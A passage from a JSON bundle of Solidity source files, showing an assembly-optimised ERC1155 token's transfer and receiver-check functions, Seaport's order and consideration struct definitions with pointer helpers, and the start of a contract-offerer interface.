or approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155Reveived}, which is called upon a batch transfer.\n ///\n /// Emits a {Transfer} event.\n function _safeTransfer(\n address by,\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n let from_ := shl(96, from)\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, from_))\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n let by_ := shl(96, by)\n if iszero(or(iszero(by_), eq(by_, from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x00, id)\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, to_))\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n // Emit a {TransferSingle} event.\n mstore(0x20, amount)\n // forgefmt: disable-next-line\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), shr(96, from_), shr(96, to_))\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n if (_hasCode(to)) _checkOnERC1155Received(from, to, id, amount, data);\n }\n\n /// @dev Equivalent to `_safeBatchTransfer(address(0), from, to, ids, amounts, data)`.\n function _safeBatchTransfer(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n _safeBatchTransfer(address(0), from, to, ids, amounts, data);\n }\n\n /// @dev Transfers `amounts` of `ids` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `ids` and `amounts` must have the same length.\n /// - `from` must have at least `amounts` of `ids`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155BatchReveived}, which is called upon a batch transfer.\n ///\n /// Emits a {TransferBatch} event.\n function _safeBatchTransfer(\n address by,\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(mload(ids), mload(amounts))) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let from_ := shl(96, from)\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n let fromSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, from_)\n let toSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, to_)\n mstore(0x20, fromSlotSeed)\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n let by_ := shl(96, by)\n if iszero(or(iszero(by_), eq(by_, from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Loop through all the `ids` and update the balances.\n {\n let end := shl(5, mload(ids))\n for { let i := 0 } iszero(eq(i, end)) {} {\n i := add(i, 0x20)\n let amount := mload(add(amounts, i))\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x20, fromSlotSeed)\n mstore(0x00, mload(add(ids, i)))\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, toSlotSeed)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0x40)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n n := sub(add(o, returndatasize()), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), shr(96, from_), shr(96, to_))\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, ids, amounts, data);\n }\n if (_hasCode(to)) _checkOnERC1155BatchReceived(from, to, ids, amounts, data);\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* HOOKS FOR OVERRIDING */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Override this function to return true if `_beforeTokenTransfer` is used.\n /// The is to help the compiler avoid producing dead bytecode.\n function _useBeforeTokenTransfer() internal view virtual returns (bool) {\n return false;\n }\n\n /// @dev Hook that is called before any token transfer.\n /// This includes minting and burning, as well as batched variants.\n ///\n /// The same hook is called on both single and batched variants.\n /// For single transfers, the length of the `id` and `amount` arrays are 1.\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {}\n\n /// @dev Override this function to return true if `_afterTokenTransfer` is used.\n /// The is to help the compiler avoid producing dead bytecode.\n function _useAfterTokenTransfer() internal view virtual returns (bool) {\n return false;\n }\n\n /// @dev Hook that is called after any token transfer.\n /// This includes minting and burning, as well as batched variants.\n ///\n /// The same hook is called on both single and batched variants.\n /// For single transfers, the length of the `id` and `amount` arrays are 1.\n function _afterTokenTransfer(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {}\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* PRIVATE HELPERS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Helper for calling the `_afterTokenTransfer` hook.\n /// The is to help the compiler avoid producing dead bytecode.\n function _afterTokenTransferCalldata(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) private {\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, ids, amounts, data);\n }\n }\n\n /// @dev Returns if `a` has bytecode of non-zero length.\n function _hasCode(address a) private view returns (bool result) {\n /// @solidity memory-safe-assembly\n assembly {\n result := extcodesize(a) // Can handle dirty upper bits.\n }\n }\n\n /// @dev Perform a call to invoke {IERC1155Receiver-onERC1155Received} on `to`.\n /// Reverts if the target does not support the function correctly.\n function _checkOnERC1155Received(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) private {\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the calldata.\n let m := mload(0x40)\n // `onERC1155Received(address,address,uint256,uint256,bytes)`.\n mstore(m, 0xf23a6e61)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), shr(96, shl(96, from)))\n mstore(add(m, 0x60), id)\n mstore(add(m, 0x80), amount)\n mstore(add(m, 0xa0), 0xa0)\n let n := mload(data)\n mstore(add(m, 0xc0), n)\n if n { pop(staticcall(gas(), 4, add(data, 0x20), n, add(m, 0xe0), n)) }\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), add(0xc4, n), m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xf23a6e61))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n\n /// @dev Perform a call to invoke {IERC1155Receiver-onERC1155BatchReceived} on `to`.\n /// Reverts if the target does not support the function correctly.\n function _checkOnERC1155BatchReceived(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) private {\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the calldata.\n let m := mload(0x40)\n // `onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)`.\n mstore(m, 0xbc197c81)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), shr(96, shl(96, from)))\n // Copy the `ids`.\n mstore(add(m, 0x60), 0xa0)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0xc0)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n let s := add(0xa0, returndatasize())\n mstore(add(m, 0x80), s)\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n // Copy the `data`.\n mstore(add(m, 0xa0), add(s, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, mload(data))\n pop(staticcall(gas(), 4, data, n, o, n))\n n := sub(add(o, returndatasize()), add(m, 0x1c))\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), n, m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xbc197c81))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n\n /// @dev Returns `x` in an array with a single element.\n function _single(uint256 x) private pure returns (uint256[] memory result) {\n assembly {\n result := mload(0x40)\n mstore(0x40, add(result, 0x40))\n mstore(result, 1)\n mstore(add(result, 0x20), x)\n }\n }\n}\n"
},
"lib/seaport/lib/seaport-types/src/lib/ConsiderationStructs.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {\n BasicOrderType,\n ItemType,\n OrderType,\n Side\n} from \"./ConsiderationEnums.sol\";\n\nimport {\n CalldataPointer,\n MemoryPointer\n} from \"../helpers/PointerLibraries.sol\";\n\n/**\n * @dev An order contains eleven components: an offerer, a zone (or account that\n * can cancel the order or restrict who can fulfill the order depending on\n * the type), the order type (specifying partial fill support as well as\n * restricted order status), the start and end time, a hash that will be\n * provided to the zone when validating restricted orders, a salt, a key\n * corresponding to a given conduit, a counter, and an arbitrary number of\n * offer items that can be spent along with consideration items that must\n * be received by their respective recipient.\n */\nstruct OrderComponents {\n address offerer;\n address zone;\n OfferItem[] offer;\n ConsiderationItem[] consideration;\n OrderType orderType;\n uint256 startTime;\n uint256 endTime;\n bytes32 zoneHash;\n uint256 salt;\n bytes32 conduitKey;\n uint256 counter;\n}\n\n/**\n * @dev An offer item has five components: an item type (ETH or other native\n * tokens, ERC20, ERC721, and ERC1155, as well as criteria-based ERC721 and\n * ERC1155), a token address, a dual-purpose \"identifierOrCriteria\"\n * component that will either represent a tokenId or a merkle root\n * depending on the item type, and a start and end amount that support\n * increasing or decreasing amounts over the duration of the respective\n * order.\n */\nstruct OfferItem {\n ItemType itemType;\n address token;\n uint256 identifierOrCriteria;\n uint256 startAmount;\n uint256 endAmount;\n}\n\n/**\n * @dev A consideration item has the same five components as an offer item and\n * an additional sixth component designating the required recipient of the\n * item.\n */\nstruct ConsiderationItem {\n ItemType itemType;\n address token;\n uint256 identifierOrCriteria;\n uint256 startAmount;\n uint256 endAmount;\n address payable recipient;\n}\n\n/**\n * @dev A spent item is translated from a utilized offer item and has four\n * components: an item type (ETH or other native tokens, ERC20, ERC721, and\n * ERC1155), a token address, a tokenId, and an amount.\n */\nstruct SpentItem {\n ItemType itemType;\n address token;\n uint256 identifier;\n uint256 amount;\n}\n\n/**\n * @dev A received item is translated from a utilized consideration item and has\n * the same four components as a spent item, as well as an additional fifth\n * component designating the required recipient of the item.\n */\nstruct ReceivedItem {\n ItemType itemType;\n address token;\n uint256 identifier;\n uint256 amount;\n address payable recipient;\n}\n\n/**\n * @dev For basic orders involving ETH / native / ERC20 <=> ERC721 / ERC1155\n * matching, a group of six functions may be called that only requires a\n * subset of the usual order arguments. Note the use of a \"basicOrderType\"\n * enum; this represents both the usual order type as well as the \"route\"\n * of the basic order (a simple derivation function for the basic order\n * type is `basicOrderType = orderType + (4 * basicOrderRoute)`.)\n */\nstruct BasicOrderParameters {\n // calldata offset\n address considerationToken; // 0x24\n uint256 considerationIdentifier; // 0x44\n uint256 considerationAmount; // 0x64\n address payable offerer; // 0x84\n address zone; // 0xa4\n address offerToken; // 0xc4\n uint256 offerIdentifier; // 0xe4\n uint256 offerAmount; // 0x104\n BasicOrderType basicOrderType; // 0x124\n uint256 startTime; // 0x144\n uint256 endTime; // 0x164\n bytes32 zoneHash; // 0x184\n uint256 salt; // 0x1a4\n bytes32 offererConduitKey; // 0x1c4\n bytes32 fulfillerConduitKey; // 0x1e4\n uint256 totalOriginalAdditionalRecipients; // 0x204\n AdditionalRecipient[] additionalRecipients; // 0x224\n bytes signature; // 0x244\n // Total length, excluding dynamic array data: 0x264 (580)\n}\n\n/**\n * @dev Basic orders can supply any number of additional recipients, with the\n * implied assumption that they are supplied from the offered ETH (or other\n * native token) or ERC20 token for the order.\n */\nstruct AdditionalRecipient {\n uint256 amount;\n address payable recipient;\n}\n\n/**\n * @dev The full set of order components, with the exception of the counter,\n * must be supplied when fulfilling more sophisticated orders or groups of\n * orders. The total number of original consideration items must also be\n * supplied, as the caller may specify additional consideration items.\n */\nstruct OrderParameters {\n address offerer; // 0x00\n address zone; // 0x20\n OfferItem[] offer; // 0x40\n ConsiderationItem[] consideration; // 0x60\n OrderType orderType; // 0x80\n uint256 startTime; // 0xa0\n uint256 endTime; // 0xc0\n bytes32 zoneHash; // 0xe0\n uint256 salt; // 0x100\n bytes32 conduitKey; // 0x120\n uint256 totalOriginalConsiderationItems; // 0x140\n // offer.length // 0x160\n}\n\n/**\n * @dev Orders require a signature in addition to the other order parameters.\n */\nstruct Order {\n OrderParameters parameters;\n bytes signature;\n}\n\n/**\n * @dev Advanced orders include a numerator (i.e. a fraction to attempt to fill)\n * and a denominator (the total size of the order) in addition to the\n * signature and other order parameters. It also supports an optional field\n * for supplying extra data; this data will be provided to the zone if the\n * order type is restricted and the zone is not the caller, or will be\n * provided to the offerer as context for contract order types.\n */\nstruct AdvancedOrder {\n OrderParameters parameters;\n uint120 numerator;\n uint120 denominator;\n bytes signature;\n bytes extraData;\n}\n\n/**\n * @dev Orders can be validated (either explicitly via `validate`, or as a\n * consequence of a full or partial fill), specifically cancelled (they can\n * also be cancelled in bulk via incrementing a per-zone counter), and\n * partially or fully filled (with the fraction filled represented by a\n * numerator and denominator).\n */\nstruct OrderStatus {\n bool isValidated;\n bool isCancelled;\n uint120 numerator;\n uint120 denominator;\n}\n\n/**\n * @dev A criteria resolver specifies an order, side (offer vs. consideration),\n * and item index. It then provides a chosen identifier (i.e. tokenId)\n * alongside a merkle proof demonstrating the identifier meets the required\n * criteria.\n */\nstruct CriteriaResolver {\n uint256 orderIndex;\n Side side;\n uint256 index;\n uint256 identifier;\n bytes32[] criteriaProof;\n}\n\n/**\n * @dev A fulfillment is applied to a group of orders. It decrements a series of\n * offer and consideration items, then generates a single execution\n * element. A given fulfillment can be applied to as many offer and\n * consideration items as desired, but must contain at least one offer and\n * at least one consideration that match. The fulfillment must also remain\n * consistent on all key parameters across all offer items (same offerer,\n * token, type, tokenId, and conduit preference) as well as across all\n * consideration items (token, type, tokenId, and recipient).\n */\nstruct Fulfillment {\n FulfillmentComponent[] offerComponents;\n FulfillmentComponent[] considerationComponents;\n}\n\n/**\n * @dev Each fulfillment component contains one index referencing a specific\n * order and another referencing a specific offer or consideration item.\n */\nstruct FulfillmentComponent {\n uint256 orderIndex;\n uint256 itemIndex;\n}\n\n/**\n * @dev An execution is triggered once all consideration items have been zeroed\n * out. It sends the item in question from the offerer to the item's\n * recipient, optionally sourcing approvals from either this contract\n * directly or from the offerer's chosen conduit if one is specified. An\n * execution is not provided as an argument, but rather is derived via\n * orders, criteria resolvers, and fulfillments (where the total number of\n * executions will be less than or equal to the total number of indicated\n * fulfillments) and returned as part of `matchOrders`.\n */\nstruct Execution {\n ReceivedItem item;\n address offerer;\n bytes32 conduitKey;\n}\n\n/**\n * @dev Restricted orders are validated post-execution by calling validateOrder\n * on the zone. This struct provides context about the order fulfillment\n * and any supplied extraData, as well as all order hashes fulfilled in a\n * call to a match or fulfillAvailable method.\n */\nstruct ZoneParameters {\n bytes32 orderHash;\n address fulfiller;\n address offerer;\n SpentItem[] offer;\n ReceivedItem[] consideration;\n bytes extraData;\n bytes32[] orderHashes;\n uint256 startTime;\n uint256 endTime;\n bytes32 zoneHash;\n}\n\n/**\n * @dev Zones and contract offerers can communicate which schemas they implement\n * along with any associated metadata related to each schema.\n */\nstruct Schema {\n uint256 id;\n bytes metadata;\n}\n\nusing StructPointers for OrderComponents global;\nusing StructPointers for OfferItem global;\nusing StructPointers for ConsiderationItem global;\nusing StructPointers for SpentItem global;\nusing StructPointers for ReceivedItem global;\nusing StructPointers for BasicOrderParameters global;\nusing StructPointers for AdditionalRecipient global;\nusing StructPointers for OrderParameters global;\nusing StructPointers for Order global;\nusing StructPointers for AdvancedOrder global;\nusing StructPointers for OrderStatus global;\nusing StructPointers for CriteriaResolver global;\nusing StructPointers for Fulfillment global;\nusing StructPointers for FulfillmentComponent global;\nusing StructPointers for Execution global;\nusing StructPointers for ZoneParameters global;\n\n/**\n * @dev This library provides a set of functions for converting structs to\n * pointers.\n */\nlibrary StructPointers {\n /**\n * @dev Get a MemoryPointer from OrderComponents.\n *\n * @param obj The OrderComponents object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OrderComponents memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OrderComponents.\n *\n * @param obj The OrderComponents object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OrderComponents calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from OfferItem.\n *\n * @param obj The OfferItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OfferItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OfferItem.\n *\n * @param obj The OfferItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OfferItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from ConsiderationItem.\n *\n * @param obj The ConsiderationItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n ConsiderationItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from ConsiderationItem.\n *\n * @param obj The ConsiderationItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n ConsiderationItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from SpentItem.\n *\n * @param obj The SpentItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n SpentItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from SpentItem.\n *\n * @param obj The SpentItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n SpentItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from ReceivedItem.\n *\n * @param obj The ReceivedItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n ReceivedItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from ReceivedItem.\n *\n * @param obj The ReceivedItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n ReceivedItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from BasicOrderParameters.\n *\n * @param obj The BasicOrderParameters object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n BasicOrderParameters memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from BasicOrderParameters.\n *\n * @param obj The BasicOrderParameters object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n BasicOrderParameters calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from AdditionalRecipient.\n *\n * @param obj The AdditionalRecipient object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n AdditionalRecipient memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from AdditionalRecipient.\n *\n * @param obj The AdditionalRecipient object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n AdditionalRecipient calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from OrderParameters.\n *\n * @param obj The OrderParameters object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OrderParameters memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OrderParameters.\n *\n * @param obj The OrderParameters object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OrderParameters calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from Order.\n *\n * @param obj The Order object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n Order memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from Order.\n *\n * @param obj The Order object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n Order calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from AdvancedOrder.\n *\n * @param obj The AdvancedOrder object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n AdvancedOrder memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from AdvancedOrder.\n *\n * @param obj The AdvancedOrder object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n AdvancedOrder calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from OrderStatus.\n *\n * @param obj The OrderStatus object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OrderStatus memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OrderStatus.\n *\n * @param obj The OrderStatus object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OrderStatus calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from CriteriaResolver.\n *\n * @param obj The CriteriaResolver object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n CriteriaResolver memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from CriteriaResolver.\n *\n * @param obj The CriteriaResolver object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n CriteriaResolver calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from Fulfillment.\n *\n * @param obj The Fulfillment object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n Fulfillment memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from Fulfillment.\n *\n * @param obj The Fulfillment object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n Fulfillment calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from FulfillmentComponent.\n *\n * @param obj The FulfillmentComponent object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n FulfillmentComponent memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from FulfillmentComponent.\n *\n * @param obj The FulfillmentComponent object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n FulfillmentComponent calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from Execution.\n *\n * @param obj The Execution object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n Execution memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from Execution.\n *\n * @param obj The Execution object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n Execution calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from ZoneParameters.\n *\n * @param obj The ZoneParameters object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n ZoneParameters memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from ZoneParameters.\n *\n * @param obj The ZoneParameters object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n ZoneParameters calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n}\n"
},
"lib/seaport/lib/seaport-types/src/interfaces/ContractOffererInterface.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {ReceivedItem, Schema, SpentItem} from \"../lib/ConsiderationStructs.sol\";\nimport {IERC165} from \"../interfaces/IERC165.sol\";\n\n/**\n * @title ContractOffererInterface\n * @notice Contains the minimum interfaces needed to interact with a contract\n * offerer.\n */\ninterface ContractOffererInterface is IERC165 {\n /**\n * @dev Generates an order with the specified minimum and maximum spent\n * items, and optional context (supplied as extraData).\n *\n * @param fulfiller The address of the fulfiller.\n * @param minimumReceived The minimum items that the caller is willing to\n * receive.\n * @param maximumSpent The maximum items the caller is willing to spend.\n * @param context Additional context of the order.\n *\n * @return offer A tuple containing the offer items.\n * @return consideration A tuple containing the consideration items.\n */\n function generateOrder(\n address fulfiller,\n SpentItem[] calldata minimumReceived,\n SpentItem[] calldata maximumSpent,\n bytes calldata context // encoded based on the schemaID\n ) external returns (SpentItem[] memory offer, ReceivedItem[] memory consideration);\n\n /**\n * @dev Ratifies an order with the specified offer, consideration, and\n * optional context (supplied as extraData).\n *\n * @param offer The offer items.\n * @param consideration The consideration items.\n * @param context Additional context of the order.\n * @param orderHashes The hashes to ratify.\n * @param contractNonce The nonce of the contract.\n *\n * @return ratifyOrderMagicValue The magic value returned by the contract\n * offerer.\n 